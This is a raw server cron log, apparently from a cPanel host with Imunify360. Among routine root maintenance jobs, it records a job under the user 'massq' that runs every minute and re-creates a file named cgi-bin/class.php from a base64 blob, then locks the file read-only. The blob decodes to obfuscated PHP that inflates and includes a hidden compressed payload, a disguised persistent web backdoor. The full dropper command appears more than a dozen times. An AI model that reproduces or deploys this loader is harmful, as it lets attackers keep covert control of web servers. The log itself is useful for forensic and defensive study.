Sep 12 17:05:01 server CROND[29790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:05:01 server CROND[29787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:05:01 server CROND[29784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:06:01 server CROND[30688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:06:01 server CROND[30689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:06:01 server CROND[30692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:07:01 server CROND[31091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:07:01 server CROND[31092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:07:01 server CROND[31093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:08:01 server CROND[31444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:08:01 server CROND[31445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:08:01 server CROND[31446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:09:01 server CROND[31816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:09:01 server CROND[31817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:09:01 server CROND[31819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:09:01 server CROND[31818]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 17:10:01 server CROND[32207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:10:01 server CROND[32209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:10:01 server CROND[32211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:10:01 server CROND[32212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:10:01 server CROND[32215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:10:01 server CROND[32214]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:10:01 server CROND[32213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:10:01 server CROND[32217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:11:02 server CROND[652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:11:02 server CROND[653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:11:02 server CROND[655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:12:01 server CROND[1183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:12:01 server CROND[1184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:12:01 server CROND[1185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:12:01 server CROND[1186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:13:01 server CROND[1586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:13:01 server CROND[1587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:13:01 server CROND[1588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:14:01 server CROND[1965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:14:01 server CROND[1966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:14:01 server CROND[1967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:15:01 server CROND[2376]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:15:01 server CROND[2377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:15:01 server CROND[2380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:15:01 server CROND[2381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:15:01 server CROND[2383]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 17:15:01 server CROND[2385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:15:01 server CROND[2382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:15:01 server CROND[2384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:16:01 server CROND[3286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:16:01 server CROND[3287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:16:01 server CROND[3288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:17:01 server CROND[3756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:17:01 server CROND[3757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:17:01 server CROND[3758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:18:01 server CROND[4139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
